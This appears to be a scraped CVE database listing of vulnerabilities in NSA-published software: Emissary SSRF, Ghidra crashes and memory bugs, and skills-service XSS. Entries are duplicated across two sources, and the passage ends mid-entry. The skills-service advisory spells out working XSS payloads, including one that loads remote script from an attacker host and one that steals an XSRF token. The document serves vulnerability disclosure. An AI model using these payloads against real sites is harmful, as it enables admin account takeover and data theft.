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78 vulnerabilities by NationalSecurityAgency
CVE-2026-54442 (GCVE-0-2026-54442)
Vulnerability from nvd – Published: 2026-11-05 20:30 – Updated: 2026-11-05 21:03
VLAI
EPSS
VEX
Title
NationalSecurityAgency/emissary: Incomplete fix for CVE-2026-35571: SSRF
Summary
Emissary is a P2P based data-driven workflow engine. Prior to 8.51.0, the VALID_LINK validation in src/main/java/emissary/server/mvc/NavAction.java accepts protocol-relative URLs when processing configured navigation links. Browser URL normalization can interpret these accepted strings as external origins. The authoritative advisory attributes open redirect, server-side request forgery, and cloud metadata access to this bypass, but it identifies neither the server-side dereference path nor how navigation-link processing reaches that path. This issue is fixed in version 8.51.0.
Severity
4.8 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-05 21:02 UTC
CWE
- CWE-918 - Server-Side Request Forgery (SSRF)
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/emissar… | x_refsource_CONFIRM |
| https://github.com/NationalSecurityAgency/emissar… | x_refsource_MISC |
| https://github.com/NationalSecurityAgency/emissar… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | emissary |
Affected:
< 8.51.0
|
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CVE-2026-116012 (GCVE-0-2026-116012)
Vulnerability from nvd – Published: 2026-10-24 11:40 – Updated: 2026-11-05 16:27
VLAI
EPSS
VEX
Title
Ghidra before 12.2 Integer Truncation in PackedDecode::skipAttribute Decompiler Parser
Summary
Ghidra before 12.2 contains a numeric truncation vulnerability in PackedDecode::skipAttribute and skipAttributeRemaining in marshal.cc that stores 64-bit string lengths in 32-bit variables. Attackers can supply a crafted packed stream, such as a malicious .sla file, to inject attributes into the decompiler's input or crash the decompiler process.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-05 16:27 UTC
CWE
- CWE-197 - Numeric Truncation Error
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.2
(custom)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-09-24 15:13
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CVE-2026-115503 (GCVE-0-2026-115503)
Vulnerability from nvd – Published: 2026-10-22 19:14 – Updated: 2026-11-05 16:30
VLAI
EPSS
VEX
Title
Ghidra before 12.2 Denial of Service via Compressed Extension Archive
Summary
Ghidra before 12.2 contains an improper handling of highly compressed data vulnerability in ExtensionUtils.unzipToInstallationFolder() that allows attackers to exhaust disk space. Attackers can persuade users to install a crafted zip bomb extension archive that expands without size limits, causing later writes by Ghidra and other applications to fail.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-05 16:30 UTC
CWE
- CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.2
(custom)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-09-01 00:00
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CVE-2026-115398 (GCVE-0-2026-115398)
Vulnerability from nvd – Published: 2026-10-22 19:14 – Updated: 2026-10-23 15:00
VLAI
EPSS
VEX
Title
Ghidra before 12.2 Denial of Service via TAR and ZIP File System Mount
Summary
Ghidra before 12.2 contains a resource allocation without limits vulnerability in FileSystemIndexHelper used by TarFileSystem and ZipFileSystem, which store unbounded archive entries. Attackers can persuade a user to open or batch-import a crafted TAR or ZIP archive with excessive entries to exhaust the Java heap and hang the session.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-23 14:48 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.2
(custom)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-09-21 00:00
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CVE-2026-115397 (GCVE-0-2026-115397)
Vulnerability from nvd – Published: 2026-10-22 19:14 – Updated: 2026-10-29 12:21
VLAI
EPSS
VEX
Title
Ghidra before 12.2 Denial of Service via Extension Archive Install
Summary
Ghidra before 12.2 contains a resource allocation without limits vulnerability in ExtensionUtils.unzipToInstallationFolder() that extracts every extension ZIP entry without limiting file count. Attackers who persuade a user to install a crafted extension archive with many files can exhaust filesystem inodes, causing project writes and other processes to fail.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-29 12:20 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
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2026-10-07 00:00
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CVE-2026-115396 (GCVE-0-2026-115396)
Vulnerability from nvd – Published: 2026-10-22 19:14 – Updated: 2026-10-29 02:33
VLAI
EPSS
VEX
Title
Ghidra 10.3 before 12.2 Denial of Service via Compressed Theme Archive
Summary
Ghidra 10.3 before 12.2 contains an improper handling of highly compressed data vulnerability in ThemeReader.processIconFile() that fails to limit decompressed size or compression ratio. Attackers can persuade a user to import a crafted theme ZIP whose icon entries expand to fill the host filesystem, causing later writes to fail.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-29 02:32 UTC
CWE
- CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-10.3-… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
10.3 , < 12.2
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2026-09-01 00:00
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CVE-2026-115395 (GCVE-0-2026-115395)
Vulnerability from nvd – Published: 2026-10-22 19:14 – Updated: 2026-11-05 16:31
VLAI
EPSS
VEX
Title
Ghidra 10.3 before 12.2 Denial of Service via ThemeReader.readZipTheme()
Summary
Ghidra 10.3 before 12.2 contains a resource allocation without limits vulnerability in ThemeReader.readZipTheme() that extracts unlimited theme ZIP entries to the images directory. Attackers can persuade users to import a crafted theme archive with many small files, exhausting inodes and disk space to deny service to the host.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-05 16:31 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-10.3-… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
10.3 , < 12.2
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cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-10-07 00:00
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CVE-2026-115394 (GCVE-0-2026-115394)
Vulnerability from nvd – Published: 2026-10-22 19:14 – Updated: 2026-10-23 15:00
VLAI
EPSS
VEX
Title
Ghidra through 12.2 Denial of Service via BinaryField Memory Allocation
Summary
Ghidra through 12.2 contains an uncontrolled memory allocation vulnerability in BinaryField.read() that allows attackers to exhaust heap memory via an unchecked 32-bit length field. Attackers can persuade users to import a crafted GZF packed database file, triggering an OutOfMemoryError in PackedDatabase.open() that aborts the import and denies service.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-23 14:48 UTC
CWE
- CWE-789 - Memory Allocation with Excessive Size Value
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-throu… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , ≤ 12.2
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Date Public
2026-10-22 00:00
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CVE-2026-113604 (GCVE-0-2026-113604)
Vulnerability from nvd – Published: 2026-10-20 15:40 – Updated: 2026-10-20 16:19
VLAI
EPSS
VEX
Title
Ghidra 10.2 through 12.1.4 Denial of Service via ELF Loader Extended Header Counts
Summary
Ghidra 10.2 through 12.1.4 contains a denial of service vulnerability in the ELF loader's ElfHeader class that allocates arrays sized by unvalidated extended section and program header counts. Attackers can supply a crafted 128-byte ELF file that triggers an OutOfMemoryError during load-spec discovery at import or in headless analysis pipelines.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-20 16:19 UTC
CWE
- CWE-789 - Memory Allocation with Excessive Size Value
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-10.2-… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
10.2 , ≤ 12.1.4
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Date Public
2026-10-16 18:55
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CVE-2026-100505 (GCVE-0-2026-100505)
Vulnerability from nvd – Published: 2026-09-26 00:36 – Updated: 2026-10-05 14:55
VLAI
EPSS
VEX
Title
Ghidra 9.2 through 12.1.4 Heap Out-of-Bounds Read via StringManager
Summary
Ghidra versions 9.2 through 12.1.4 contain a heap out-of-bounds read vulnerability in StringManager::getCodepoint when decoding multi-byte UTF-8, UTF-16, or UTF-32 characters without validating remaining buffer length. Attackers can craft malicious binaries containing strings or constant byte stores that end in multi-byte lead units to trigger out-of-bounds reads that crash the decompiler or leak adjacent heap memory into decompiled output.
Severity
4.4 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-05 14:01 UTC
CWE
- CWE-125 - Out-of-bounds Read
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-11.2-… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
9.2 , ≤ 12.1.4
(custom)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-09-18 00:00
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CVE-2026-100504 (GCVE-0-2026-100504)
Vulnerability from nvd – Published: 2026-09-26 00:36 – Updated: 2026-10-22 09:48
VLAI
EPSS
VEX
Title
Ghidra through 12.1.4 Stack-based Buffer Overflow via leftshift128
Summary
Ghidra versions through 12.1.4 contain a stack-based out-of-bounds write vulnerability in the decompiler's leftshift128 function when processing negative shift amounts from p-code. Attackers can craft malicious binaries with specific instruction sequences that trigger the overflow when decompiled, corrupting memory and potentially achieving code execution.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 17:40 UTC
CWE
- CWE-787 - Out-of-bounds Write
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-throu… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , ≤ 12.1.4
(custom)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-09-08 00:00
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CVE-2026-100503 (GCVE-0-2026-100503)
Vulnerability from nvd – Published: 2026-09-26 00:36 – Updated: 2026-10-22 09:48
VLAI
EPSS
VEX
Title
Ghidra through 12.1.4 Heap Use-After-Free in Decompiler
Summary
Ghidra versions through 12.1.4 contain a heap use-after-free vulnerability in the decompiler's Funcdata::opInsertAfter function caused by stale INDIRECT effect-op references. Attackers can craft a malicious binary with a specific x86-64 sequence that triggers the vulnerability during decompilation, causing the decompile helper process to crash and denying service to analysts and automated analysis pipelines.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-29 17:23 UTC
CWE
- CWE-416 - Use After Free
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-throu… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , ≤ 12.1.4
(custom)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-08-26 00:00
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CVE-2026-96273 (GCVE-0-2026-96273)
Vulnerability from nvd – Published: 2026-09-23 00:29 – Updated: 2026-09-28 16:18
VLAI
EPSS
VEX
Title
Ghidra before 12.1.4 Denial of Service via Unreleased Lock in OptionsDB
Summary
Ghidra before 12.1.4 fails to validate the TYPE_COL byte in OptionsDB.createUnregisteredOption(), causing an ArrayIndexOutOfBoundsException that leaves domain objects permanently locked. Attackers can craft a malicious program database file that, when imported, causes the application to stall and prevents resource cleanup or graceful shutdown.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-23 13:46 UTC
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.1.4
(semver)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-09-22 00:00
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CVE-2026-54694 (GCVE-0-2026-54694)
Vulnerability from nvd – Published: 2026-09-09 18:44 – Updated: 2026-09-10 16:02
VLAI
EPSS
VEX
Title
NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
Summary
SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
Severity
9.6 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 16:02 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/skills-… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | skills-service |
Affected:
< 4.4.2
|
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CVE-2026-54389 (GCVE-0-2026-54389)
Vulnerability from nvd – Published: 2026-08-20 22:02 – Updated: 2026-10-01 15:20 X_Open Source
VLAI
EPSS
VEX
Title
Ghidra < 12.1.3 PDB Parser Uncontrolled Heap Growth DoS via AbstractPdb
Summary
Ghidra before 12.1.3 contains an uncontrolled resource consumption vulnerability in the PDB parser that allows attackers to terminate the Ghidra process by supplying a crafted PDB file with an oversized parameters section. The AbstractPdb deserialization routine reads all remaining parameters into an unbounded list, causing uncontrolled heap growth that triggers an OutOfMemoryError which bypasses exception handling and crashes the application.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-25 15:34 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.1.3
(semver)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-08-19 00:00
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CVE-2026-54442 (GCVE-0-2026-54442)
Vulnerability from cvelistv5 – Published: 2026-11-05 20:30 – Updated: 2026-11-05 21:03
VLAI
EPSS
VEX
Title
NationalSecurityAgency/emissary: Incomplete fix for CVE-2026-35571: SSRF
Summary
Emissary is a P2P based data-driven workflow engine. Prior to 8.51.0, the VALID_LINK validation in src/main/java/emissary/server/mvc/NavAction.java accepts protocol-relative URLs when processing configured navigation links. Browser URL normalization can interpret these accepted strings as external origins. The authoritative advisory attributes open redirect, server-side request forgery, and cloud metadata access to this bypass, but it identifies neither the server-side dereference path nor how navigation-link processing reaches that path. This issue is fixed in version 8.51.0.
Severity
4.8 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-05 21:02 UTC
CWE
- CWE-918 - Server-Side Request Forgery (SSRF)
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/emissar… | x_refsource_CONFIRM |
| https://github.com/NationalSecurityAgency/emissar… | x_refsource_MISC |
| https://github.com/NationalSecurityAgency/emissar… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | emissary |
Affected:
< 8.51.0
|
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CVE-2026-116012 (GCVE-0-2026-116012)
Vulnerability from cvelistv5 – Published: 2026-10-24 11:40 – Updated: 2026-11-05 16:27
VLAI
EPSS
VEX
Title
Ghidra before 12.2 Integer Truncation in PackedDecode::skipAttribute Decompiler Parser
Summary
Ghidra before 12.2 contains a numeric truncation vulnerability in PackedDecode::skipAttribute and skipAttributeRemaining in marshal.cc that stores 64-bit string lengths in 32-bit variables. Attackers can supply a crafted packed stream, such as a malicious .sla file, to inject attributes into the decompiler's input or crash the decompiler process.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-05 16:27 UTC
CWE
- CWE-197 - Numeric Truncation Error
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.2
(custom)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-09-24 15:13
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CVE-2026-115503 (GCVE-0-2026-115503)
Vulnerability from cvelistv5 – Published: 2026-10-22 19:14 – Updated: 2026-11-05 16:30
VLAI
EPSS
VEX
Title
Ghidra before 12.2 Denial of Service via Compressed Extension Archive
Summary
Ghidra before 12.2 contains an improper handling of highly compressed data vulnerability in ExtensionUtils.unzipToInstallationFolder() that allows attackers to exhaust disk space. Attackers can persuade users to install a crafted zip bomb extension archive that expands without size limits, causing later writes by Ghidra and other applications to fail.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-05 16:30 UTC
CWE
- CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.2
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Date Public
2026-09-01 00:00
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CVE-2026-115398 (GCVE-0-2026-115398)
Vulnerability from cvelistv5 – Published: 2026-10-22 19:14 – Updated: 2026-10-23 15:00
VLAI
EPSS
VEX
Title
Ghidra before 12.2 Denial of Service via TAR and ZIP File System Mount
Summary
Ghidra before 12.2 contains a resource allocation without limits vulnerability in FileSystemIndexHelper used by TarFileSystem and ZipFileSystem, which store unbounded archive entries. Attackers can persuade a user to open or batch-import a crafted TAR or ZIP archive with excessive entries to exhaust the Java heap and hang the session.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-23 14:48 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
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| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
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2026-09-21 00:00
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CVE-2026-115397 (GCVE-0-2026-115397)
Vulnerability from cvelistv5 – Published: 2026-10-22 19:14 – Updated: 2026-10-29 12:21
VLAI
EPSS
VEX
Title
Ghidra before 12.2 Denial of Service via Extension Archive Install
Summary
Ghidra before 12.2 contains a resource allocation without limits vulnerability in ExtensionUtils.unzipToInstallationFolder() that extracts every extension ZIP entry without limiting file count. Attackers who persuade a user to install a crafted extension archive with many files can exhaust filesystem inodes, causing project writes and other processes to fail.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-29 12:20 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.2
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Date Public
2026-10-07 00:00
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CVE-2026-115396 (GCVE-0-2026-115396)
Vulnerability from cvelistv5 – Published: 2026-10-22 19:14 – Updated: 2026-10-29 02:33
VLAI
EPSS
VEX
Title
Ghidra 10.3 before 12.2 Denial of Service via Compressed Theme Archive
Summary
Ghidra 10.3 before 12.2 contains an improper handling of highly compressed data vulnerability in ThemeReader.processIconFile() that fails to limit decompressed size or compression ratio. Attackers can persuade a user to import a crafted theme ZIP whose icon entries expand to fill the host filesystem, causing later writes to fail.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-29 02:32 UTC
CWE
- CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-10.3-… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
10.3 , < 12.2
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cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-09-01 00:00
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CVE-2026-115395 (GCVE-0-2026-115395)
Vulnerability from cvelistv5 – Published: 2026-10-22 19:14 – Updated: 2026-11-05 16:31
VLAI
EPSS
VEX
Title
Ghidra 10.3 before 12.2 Denial of Service via ThemeReader.readZipTheme()
Summary
Ghidra 10.3 before 12.2 contains a resource allocation without limits vulnerability in ThemeReader.readZipTheme() that extracts unlimited theme ZIP entries to the images directory. Attackers can persuade users to import a crafted theme archive with many small files, exhausting inodes and disk space to deny service to the host.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-11-05 16:31 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-10.3-… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
10.3 , < 12.2
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2026-10-07 00:00
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CVE-2026-115394 (GCVE-0-2026-115394)
Vulnerability from cvelistv5 – Published: 2026-10-22 19:14 – Updated: 2026-10-23 15:00
VLAI
EPSS
VEX
Title
Ghidra through 12.2 Denial of Service via BinaryField Memory Allocation
Summary
